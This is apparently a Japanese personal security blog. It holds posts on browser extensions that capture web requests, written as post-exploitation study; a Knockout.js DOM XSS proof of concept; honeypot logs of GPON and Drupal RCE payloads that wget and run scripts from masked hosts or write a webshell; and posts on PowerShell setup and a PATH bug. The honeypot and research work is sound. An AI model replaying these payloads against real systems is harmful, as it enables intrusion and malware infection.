Browser Extensionを書いてみる: Firefox - 1.webRequestをコンソールログに出す

tl;dr

昨日のエントリの続きでFirefox版. 違うのはbackground.jsの中で少しだけ(後述).

Code

  • background.js

要点

  • Chromeと同様にmanifest.jsonとbackground.js中のBrowser APIが肝
    • manifest.json > Chromeと全く同じ設定なので説明は省略(Chrome版の方に追記あり)
    • background.js > APIの呼び方が異なるが基本的な動作イメージは仕様を見る限りChromeとほぼ同じ. APIを持ってるobjectがchromeからbrowserになっている程度.

参考

コメント

  • Firefoxでalertではなくconsole.logを使っているのはbackgroundページだとどうもalertを呼び出せない仕様らしい(エラーで怒られた).
  • ちなみにChromeだとconsole.logで出力できなかった. Chromeではconsoleを使うためにAPI(chrome.extension.getBackgroundPage())を叩かないといけないので, 極力最小コードにする目的に沿って叩かない方針で書いている.
  • 次はChrome or Firefoxで保存されているパスワードを触りにいくExtensionか(そもそもできるのか?), IE or Edgeで上記と同じことをするプラグインでも(IEやばそうだしクロスプラットフォームでもないので後回しかな).

Browser Extensionを書いてみる: Chrome - 1.webRequestをポップアップで出す

tl;dr

マルチプラットフォームのPost Exploitation的なsomethingのお勉強ってことで手始めにBrowser Extension for Chromeを書いてみた. alertしてるところの飛ばし先とかobfuscateとかいろいろ興味が尽きないけれどもその辺りはまあご随意に.

Code

  • background.js

要点

  • Chromeの場合(Firefoxでもそうだけど), manifest.jsonChrome APIが肝. 具体的にはこの辺.
    • manifest.json > "permissions": ["webRequest", "<all_urls>"]
      • (追記)manifets.jsonのpermissionsでExtensionが使用可能なAPIをほぼ確認できる. webRequestで<all_urls>なんて指定があったら「ブラウザが送信する任意のリクエストデータ」を触ることができる.
    • background.js > chrome.webRequest.onBeforeRequest
      • (追記)リクエストボディに触れるのはonBeforeRequestのみなので, (maliciousなExtensionと仮定して)読み込んでるjs中にonBeforeRequestが入っていたらほぼリクエストボディを読みに行こうと判断していいかもしれない.

参考

コメント

  • ツールバーアイコンは不要なので(Post Exploitationなら特に, 仕様でもPick one (or none)だし)出さない方針で作成.
  • インストール方法とかは考察中. pre-installedなExtensionとかuser installedなExtensionに突っ込めないのかなーと思って試してみたものの,ブラウザ側でちゃんとチェックしていてエラーに. profileいじってどうにかなるものなる...のか?(ならない気がするなぁ
  • 次はChromeに保存されてるパスワードへのアクセスとかFirefoxのExtensionでも.

XSS小ネタ(DOM based XSS - Knockout.js)

最近出会った, Knockout.jsでのDOM based XSSを紹介.

書いてあること

  1. XSSが発生するKnockout.jsを使用したHTMLソース(レスポンス)例
  2. PoC
  3. スクリプトが実行される流れ

前提知識

HTMLソース(レスポンス)例

  • input 1
inputtedaaaaa<'"%26>
  • output 1
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa&lt;&#39;&quot&&gt;'}"></span>
(snipped)
  • input 2
inputtedaaaaa,(;:)
  • output 2
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span>
(snipped)

お分かりいただけただろうか. ご覧の通りXSS可能.

PoC

  • input
blue'&alert(1),text:'
  • output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue&#39;&alert(1),text:&#39;'}"></span>
  • HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>

スクリプトが実行される流れ

  1. ブラウザの仕様であるHTMLアンエスケープ(&#39;が'としてJavaScriptエンジンに渡される)
  2. Knockout.jsが動いてalertが動作
    • ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能

対策

コメントとか小話とか

  • BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
  • 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
  • ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.

MacでPowershellを動かしてみた

最近Powershellを叩いていることが増えたので普段使いのMacでも使いたくなった.
というわけで環境を用意した際のメモと所感.

目標

  1. Mac 上で Powershell を叩く
  2. 入力補完してくれるエディタをインストールする
  3. どこまで動かせるか確認

メモ

  1. Mac 上で Powershell を叩く
    公式のドキュメントを参照.
    Powershell は現状Github上に公開されていて, 動作環境として Windows はもちろんのこと, Linux, Mac までサポートしてくれている.
    今回インストールした環境には brew をインストールしてあったため, ドキュメントの brew を使った方法通りに進めて, インストールできた.
    f:id:news-nknskn:20180714103156p:plain
  2. 入力補完してくれるエディタをインストールする
    なにも考えず Visual Studio Code を使う(ダウンロード, Powershell拡張のインストール).
    普段使いは Atom だけど, Atom でしかできないことを最近やっていないのでいっそ VSC に移行してもいいのかもしれない, と思った.
    プラグインの数は Atom の方が多いので, いろいろと動きやすい環境を作るのは Atom の方がいいような気はしてる.
    Atom で language-powershell, atom-terminal-powershell, ide-powershell を試したものの, Key-binding がぶつかっているのかF5などで実行を確認できなかった(Visual Studio Code でサクッとできるし, もうそっちでいいんじゃないかって気になったので深く調べてない).
    f:id:news-nknskn:20180714102813p:plain
  3. どこまで動かせるか確認
    • PowerShell クックブックにあるもののいくつかを試して見た
    • 数値演算, 文字列連結(マルチバイト込み), パイプラインなど基本的な操作, ターミナル上での入力補完, オブジェクトへのアクセス($var.Countとか), .NETオブジェクトのプロパティへのアクセス($today = Get-Date; $today.DayOfYearとか) → 問題なく動作, .NET回りは基本的に触れそう(たぶんもっと突っ込んでいったときにコケそう)
      触った時の図はだいたいこんな感じ
      f:id:news-nknskn:20180728180532p:plain f:id:news-nknskn:20180728181025p:plain
    • pwsh 上で Mac のコマンド群(とりあえずbrew update) → 動いた, 呼んだshellをpwshがまた包んでいるんだろうか
    • WmiObject, ComObject → そんなものはない

所感

WmiObject, ComObjectは触りたい気持ちがあったので, 予想はしてたものの触れなくて残念な気持ち.
ただ今まではVisual Studio for Macで.NETを触っていたことを考えると, やはりshellから.NETオブジェクトに触れるのは嬉しい.

(Updated)GPON Home Routers(CVE-2018-10561/CVE-2018-10562) - In the wild - WOWHoneypot

TL;DR

2018年4月30日、GPON Home Routersに存在するRCEの脆弱性(CVE-2018-10561/CVE-2018-10562)が公表されていました。
日本時間2018/05/08 9:52:01(UTC+0900)より、さっそく運用中のハニーポット(WOWHoneypot in Singapol)でこの脆弱性を狙った通信を検知しました。
日本ではこの機器をお持ちの方は少数かと思われますが[3]、お持ちの方は利用されているISPにBug fixについてご確認いただくことを推奨します[1]

  1. Critical RCE Vulnerability Found in Over a Million GPON Home Routers | vpnMentor
  2. Critical RCE vulnerability found in over a million GPON Home RoutersSecurity Affairs
  3. GPON Home Routers – The Next Botnet? ※POCが公開されていることも確認しています。

Attack payloads

検知した通信は以下の通り、脆弱性の存在確認を行うものです。

POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: ***.***.***.***:***
Content-Type: text/plain
Content-length: 119

(snip)wget;wget -qO - http://*.*.*.*/***.php?port=****(snip)

IPアドレスはurlscan.ioで確認したところ、IoCsに登録されているものでした。 https://urlscan.io/result/0f362b8f-d4da-4cb6-9f79-fb7e64d12d73/

wgetしている先のファイルは存在していなかったため(404 Not Found)、WOWHoneypotのルールには以下を登録しています。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>wget -qO -</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

GPON Home Routersを持っていないため適切なレスポンスかどうかは不明ですが、ひとまずはこれで攻撃の傾向を見ていこうと思います。


11 May ,2018 Updated

10, Mayより異なるPayloadの通信を検知しました。 Payloadは以下の通り、攻撃の流れはshellscriptの実行~アーキテクチャごとのELFバイナリを実行するものです。

  • Payload
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

(snip)dest_host=``;wget+http://xxx.xxx.xxx.xxx/r+-O+->/tmp/r;sh+/tmp/r(snip)
  • shellscript
#!/bin/sh

n="arm mips mipsel arm7"
http_server="xxx.xxx.xxx.xxx"
#dirs="/tmp /var /dev/shm /dev"
dirs="/tmp"

for dir in $dirs
do
    >$dir/c && cd $dir
done

for i in $n
do
    cp $SHELL $i
    >$i
    wget http://$http_server/$i -O -> $i
    chmod 777 $i
done

実行ファイルの動作は未調査のため、一旦ここまでです。

(参考情報)

ファイル名 ハッシュ値(sha-256)
arm efa4fe06e4949c0f7aedea61a79da92e379ea66b169cd1d99c47b9e93e814093
arm7 1ff787d52bc9e4a6c27d75b1a427c3e5dd16d6d5f082a79227c14edf8e908ab2
mips bab7e9f42df88902acb00fbdf3b4b5d8ffec2a1a7ad32eb5f2fb1dbf38f3167d
mispel a79964ce5cf4b92f996bbc24230e102b94ef05fb072c0afdeabc88d28695cace

13 May ,2018 Updated

12, Mayよりまた異なるPayloadの通信を検知しました。 Payloadは以下の通り、busyboxwgetを用いたものです。 対象のファイルは存在せず(404 Not Found)、また仮にダウンロードに成功したとしてもファイルを実行するコマンドがpayload内にないことから、HTTPレスポンス確認による脆弱性の有無確認、もしくはwgetによるコマンド実行確認を期待しているものと考えられます。

  • Payload 1
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 112

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/$(uname+-m)`&ipv=0
  • Payload 2
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 103

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/80`&ipv=0

特にPayload 1, 2をカバーするため、以下のルールを加えました。

※上記ルール内wget -qO -をwgetとしても良いかもしれませんが、今後のPayloadで攻撃者が求めるレスポンスに細かい差が出てきた際、変更を加えやすいよう分けてみています。

※Payload 1 に関してはハニーポットクライアントから$(uname -m)なpathのwget通信を発生させる必要があります。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>busybox+wget+http</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

WOWHoneypotを使ってみた(運用継続中)

技術書典4で出会えた素晴らしいハニポを植えてみたところ、DrupalのRCE可能な脆弱性(CVE-2018-7600)含めちょいちょいリクエスト がきていたので、備忘録がてら。

書くこと書かないこと

  • 書いてる:WOWHoneypotで観測したリクエストと追加したルールの概要、ルール適用後のリクエストの変化
  • 書いてない:WOWHoneypotとは、WOWHoneypotの植え方、育て方、
    • いろいろな方がすでにブログに書かれている、開発者の方が技術書典で本を出されているのでここでは書いてません。

観測したリクエス

CVE-2018-7600

  • こちらには以下の3種が飛んできていました
    1. id: おそらくコマンド実行確認。食いついて欲しいのでルールにはrootが返るように設定。今のところ後続は確認できず。
    2. curl/wget: 攻撃者管理のWebサーバへのアクセス有無によるコマンド実行確認 or ファイルの設置確認と予想。ファイルの設置確認の方を期待して、ダウンロードが成功した場合のアクセスを想定したルールを設定したものの後続のリクエストは確認できていない、ということでアクセス有無確認の方が濃厚のようでした。wget/curl拡張...別のを植えた方が早そう。
    3. Webshell設置: base64エンコードした文字列をphpファイルに書き込み実行させるもの。カスタムルールの効果を確認できない状況で飛んできているので、これは運っぽい。phpファイルは eval←gzinflate←str_rot13←base64_decode([base64encoded Webshell source])してました。
  • 参考: ハニーポット観測日記「Drupalで任意のコードが実行可能な脆弱性を狙った攻撃」 | HONEYPOT運用日記
  • リクエスト例1 → 参考のブログに譲ります。
  • リクエスト例2
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: [masked]
Content-Type: application/x-www-form-urlencoded
Content-length: 170

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F[masked]%2Fdrupal.php
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Content-Length: 2055
Content-Type: application/x-www-form-urlencoded
Host: [masked]
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_144)
Accept-Encoding: gzip,deflate

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22[masked(base64encoded php source)]%22+%7C+base64+-d+%7C+tee+t6nv.php

CMSとかネットワーク機器系とかその他

/xmlrpc.php
/cgi-bin/index.cgi
/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
/wls-wsat/CoordinatorPortType
/phpmyadmin

他にも色々飛んできていましたが、ひとまず主なものだけです。

所感

  • ハニポ運用楽しいですね。引き続きWOWHoneypotで継続していこうと思います。
  • 毎日のレポーティング機能はあると水やりが捗りそう。個人的には適切な水やりの情報が毎日pushsされて欲しいので、ペイロードを確認できるレポーティング機能を準備中。水やりに使う酸素をおくれ。

pyenvのpythonを叩くと自作goプログラムのpanicが走る怪奇現象

タイトルで出落ち。

結論

  • ビルトインのコマンド名を自作プログラムに使うのはNG(大昔から言われてるからそれ
  • 自作プログラムへのPATHは追加する形で(昔から(ry
  • ソースコードリーディング楽しい(白目

きっかけ

算数をpythonにお願いしようとしたところ以下のエラーが発生した。

[User@PC] ~
% python
panic: Head http://localhost:18888: dial tcp 127.0.0.1:18888: getsockopt: connection refused

goroutine 1 [running]:
main.main()
    /path/to/head/head.go:11 +0x16e
[User@PC] ~

Goプログラムのソースは以下。書籍「Real World HTTP」の写経で、HTTPのHEADリクエストを送信するもの。

# Filename: head.go
package main

import (
    "log"
    "net/http"
)

func main() {
    resp, err := http.Head("http://localhost:18888")
    if err != nil {
        panic(err)
    }
    log.Println("Status: ", resp.Status)
    log.Println("Headers: ", resp.Header)
}

解決への流れ

  1. pythonの確認
  2. pyenvの確認
  3. headの確認
  4. $PATHの確認

実際

pythonの確認

ブログ用にcat、実際にはless

[User@PC] ~
% file `which python`
/path/to/.anyenv/envs/pyenv/shims/python: Bourne-Again shell script text executable, ASCII text
[User@PC] ~
% cat `which python`
#!/usr/bin/env bash
set -e
[ -n "$PYENV_DEBUG" ] && set -x

program="${0##*/}"
if [[ "$program" = "python"* ]]; then
  for arg; do
    case "$arg" in
    -c* | -- ) break ;;
    */* )
      if [ -f "$arg" ]; then
        export PYENV_FILE_ARG="$arg"
        break
      fi
      ;;
    esac
  done
fi

export PYENV_ROOT="/path/to/.anyenv/envs/pyenv"
exec "/path/to/.anyenv/envs/pyenv/libexec/pyenv" exec "$program" "$@"
[User@PC] ~

※$programや$@にエラーになる要因がないかはechoさせて確認
ここでhead.goが正常動作する場合も確認しておいた。 pyenvのエラーが有用。pyenvの中にエラーの要因があると断定。

[User@PC] ~
% python
2017/12/23 13:57:03 Status:  200 OK
2017/12/23 13:57:03 Headers:  map[Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE] Date:[Sat, 23 Dec 2017 04:57:03 GMT]]
pyenv: cannot find readlink - are you missing GNU coreutils?

Goの サーバプログラムは以下。これも上記書籍の写経。

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/http/httputil"

    "github.com/k0kubun/pp"
)
〜中略〜
func main() {
    var httpServer http.Server
    http.HandleFunc("/", handler)
    httpServer.Addr = ":18888"
    log.Printf("[i] Start http listing %s\n", httpServer.Addr)
    log.Println(httpServer.ListenAndServe())
}

pyenvの確認

catの箇所では文字列検索をしたかったのでvimで開いた

[User@PC] ~
% file /path/to/.anyenv/envs/pyenv/libexec/pyenv
/path/to/.anyenv/envs/pyenv/libexec/pyenv: Bourne-Again shell script text executable, ASCII text
[User@PC] ~
% cat /path/to/.anyenv/envs/pyenv/libexec/pyenv
## 先ほどのエラー「pyenv: cannot find readlink - are you missing GNU coreutils?」で検索
#!/usr/bin/env bash
set -e
unset CDPATH

〜中略〜

  READLINK=$(type -p greadlink readlink | head -1)
  [ -n "$READLINK" ] || abort "cannot find readlink - are you missing GNU coreutils?"

〜以下略〜
[User@PC] ~
% 

エラーの箇所を発見、怪しい箇所としてはここのhead。

headの確認

ここでずっこけた。buildした覚えはなかったがどうやら指が勝手に動いていたらしい。

[User@PC] ~
% head
2017/12/23 14:16:31 Status:  200 OK
2017/12/23 14:16:31 Headers:  map[Date:[Sat, 23 Dec 2017 05:16:31 GMT] Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE]]
[User@PC] ~
% which head
/path/to/$GOPATH/bin/head
[User@PC] ~
%

ひとまず/path/to/$GOPATH/bin/headを削除して動作を確認。

[User@PC] ~
% rm -f $GOPATH/bin/head
[User@PC] ~
% python
Python 2.7.10 (default, Jul 15 2017, 17:16:57) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.31)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> ^D
[User@PC] ~
% 

OK.

PATHの確認

編集前提なのでvimで開いた。

[User@PC] ~
% cat .zshrc

〜中略〜
# Go env
export GOROOT=$HOME/.anyenv/envs/goenv/versions/$GO_VERSION
export GOPATH=$HOME/dev
export PATH=$GOROOT/bin:$GOPATH/bin:$PATH
〜以下略〜

[User@PC] ~
%

ツラい。以下のように修正。

- export PATH=$GOROOT/bin:$GOPATH/bin:$PATH
+ export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

大切なことなので再び結論(自戒を込めて

  • ビルトインのコマンド名を自作プログラムに使うのはNG(大昔から言われてるからそれ
  • 自作プログラムへのPATHは追加する形で(昔から(ry
  • ソースコードリーディング楽しい(白目してない

所感

以上!閉廷!解散!